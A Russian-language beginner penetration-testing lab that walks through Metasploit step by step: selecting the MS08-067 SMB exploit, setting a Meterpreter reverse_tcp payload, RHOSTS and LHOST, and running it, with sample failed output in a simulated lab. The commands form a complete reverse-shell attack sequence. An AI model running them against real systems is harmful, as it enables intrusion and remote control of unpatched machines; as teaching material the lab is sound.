Использование полезной нагрузки обратного шелла в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите основные шаги использования полезной нагрузки (payload) reverse shell в Metasploit Framework. Metasploit — это мощный инструмент для тестирования на проникновение, который поставляется с обширной библиотекой эксплойтов, полезных нагрузок и вспомогательных модулей.

"Полезная нагрузка" (payload) — это код, который выполняется на целевой системе после успешной компрометации с помощью эксплойта. "Reverse shell" — это тип полезной нагрузки, при котором скомпрометированная целевая машина инициирует обратное соединение с машиной атакующего. Этот метод часто используется для обхода брандмауэров, которые могут блокировать входящие соединения к цели, но разрешать исходящие соединения.

Мы будем использовать полезную нагрузку windows/meterpreter/reverse_tcp. Meterpreter — это продвинутая, многофункциональная полезная нагрузка, которая предоставляет интерактивную оболочку, позволяющую атакующему выполнять команды, загружать/скачивать файлы и выполнять множество других действий после компрометации.

К концу этой лабораторной работы вы поймете рабочий процесс выбора эксплойта, настройки полезной нагрузки reverse shell и запуска атаки.

Выбор модуля эксплойта для цели

На этом шаге мы запустим консоль Metasploit Framework и выберем модуль эксплойта. Эксплойт — это фрагмент кода, который использует определенную уязвимость в системе. Для этой лабораторной работы мы будем использовать известный эксплойт в образовательных целях.

Сначала откройте терминал на вашем рабочем столе.

Теперь запустите консоль Metasploit. Мы будем использовать флаг -q для "тихого" запуска, который подавляет стартовый баннер.

msfconsole -q

Как только Metasploit загрузится, вы увидите приглашение msf6 >. Это интерфейс командной строки Metasploit.

Следующим нашим действием будет выбор эксплойта. Мы будем использовать команду use, за которой следует имя модуля эксплойта. Для этой лабораторной работы мы нацелимся на уязвимость MS08-067, классический и надежный эксплойт для старых систем Windows.

Введите следующую команду в приглашении msf6 >:

use exploit/windows/smb/ms08_067_netapi

После нажатия Enter вы заметите, что приглашение изменилось. Теперь оно включает имя выбранного эксплойта, указывая, что вы находитесь в контексте этого модуля.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Теперь вы успешно выбрали модуль эксплойта и готовы к его настройке.

Установка полезной нагрузки windows/meterpreter/reverse_tcp

На этом шаге вы установите полезную нагрузку для выбранного эксплойта. Полезная нагрузка — это код, который будет выполнен на целевой машине после успешного срабатывания эксплойта. Как упоминалось во введении, мы будем использовать полезную нагрузку Meterpreter reverse TCP.

Metasploit мог автоматически выбрать эту полезную нагрузку при выборе эксплойта (как видно из вывода предыдущего шага), но хорошей практикой является явная установка, чтобы убедиться, что настроена правильная полезная нагрузка.

В приглашении msf6 exploit(windows/smb/ms08_067_netapi) > используйте команду set payload:

set payload windows/meterpreter/reverse_tcp

После выполнения команды Metasploit подтвердит изменение.

payload => windows/meterpreter/reverse_tcp

Чтобы увидеть все опции, которые вы можете настроить для выбранного эксплойта и полезной нагрузки, вы можете использовать команду show options. Это очень полезная команда, чтобы увидеть, какие параметры требуются перед запуском атаки.

show options

Вы увидите список опций модуля, опций полезной нагрузки и целей эксплойта. Обратите внимание на опции RHOSTS и LHOST, которые мы настроим на следующих шагах.

Установка опции RHOSTS для эксплойта

На этом шаге мы настроим опцию RHOSTS. RHOSTS означает "Удаленный хост(ы)" (Remote Host(s)) и указывает IP-адрес целевой машины, которую вы хотите атаковать.

Чтобы любой эксплойт сработал, вы должны сообщить Metasploit, куда его отправить. Команда set используется для настройки этих опций.

В реальном сценарии вы бы определили IP-адрес цели посредством разведки. Для этой лабораторной работы мы будем использовать подстановочный IP-адрес.

В приглашении msf6 exploit(...) > установите RHOSTS на 10.0.2.15.

set RHOSTS 10.0.2.15

Metasploit подтвердит, что опция RHOSTS была установлена.

RHOSTS => 10.0.2.15

Теперь вы указали Metasploit, какую машину атаковать.

Установка опции LHOST на IP-адрес вашего Kali

На этом шаге мы установим опцию LHOST. LHOST означает "Локальный хост" (Local Host) и должен быть установлен на IP-адрес вашей машины (машины атакующего). Это критически важный шаг для обратного шелла (reverse shell), поскольку он сообщает скомпрометированной цели, к кому подключаться обратно.

Чтобы узнать IP-адрес вашей машины, вам нужно открыть новое окно терминала. Не закрывайте существующий терминал msfconsole. Вы можете открыть новый терминал из меню приложений.

В новом терминале выполните следующую команду, чтобы отобразить информацию о вашем сетевом интерфейсе:

ip addr show eth0

Вы увидите вывод, похожий на этот. Ищите адрес inet, который является вашим IP-адресом.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

В приведенном выше примере IP-адрес — 172.17.0.2. Запишите свой IP-адрес.

Теперь вернитесь в исходный терминал с приглашением msfconsole. Используйте команду set для настройки LHOST с только что найденным вами IP-адресом. Замените YOUR_IP_ADDRESS на ваш фактический IP-адрес.

set LHOST YOUR_IP_ADDRESS

Например, если ваш IP-адрес был 172.17.0.2, команда будет выглядеть так:

set LHOST 172.17.0.2

Metasploit подтвердит настройку:

LHOST => 172.17.0.2

Все необходимые опции теперь настроены.

Запуск эксплойта и ожидание обратного подключения от цели

На этом шаге, после настройки всех опций, вы запустите эксплойт.

Команда exploit (или ее псевдоним run) указывает Metasploit запустить прослушиватель для обратного подключения, а затем отправить эксплойт цели, указанной в RHOSTS.

В приглашении msf6 exploit(...) > введите:

exploit

Metasploit теперь попытается выполнить эксплойт против цели. Вы увидите вывод, подобный этому:

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

Важно: В этой лабораторной среде эксплойт завершится неудачей, поскольку по подстановочному IP-адресу 10.0.2.15 нет реальной уязвимой машины. Вывод "Exploit completed, but no session was created" является ожидаемым.

Если бы это была реальная, уязвимая цель, и эксплойт был бы успешным, вы бы увидели сообщение вроде "Meterpreter session 1 opened", и ваше приглашение изменилось бы на meterpreter >, предоставляя вам полный контроль над целью.

Это завершает процесс настройки и запуска эксплойта с полезной нагрузкой обратного шелла. Чтобы выйти из Metasploit, введите exit.

exit

Резюме

В этой лабораторной работе вы изучили основной рабочий процесс использования полезной нагрузки обратного шелла (reverse shell payload) в Metasploit Framework.

Вы отработали следующие ключевые шаги:

  1. Запуск консоли Metasploit (msfconsole).
  2. Выбор модуля эксплойта с помощью команды use.
  3. Установка полезной нагрузки с помощью команды set payload.
  4. Настройка необходимых опций, в частности RHOSTS (цель) и LHOST (IP-адрес вашего прослушивателя).
  5. Запуск атаки с помощью команды exploit.

Вы также узнали о критической разнице между RHOSTS и LHOST и о том, почему правильная настройка LHOST необходима для успешного обратного шелла. Хотя в этой симулированной среде эксплойт не привел к созданию сессии, вы успешно выполнили все команды, необходимые для реальной атаки. Поздравляем с завершением лабораторной работы!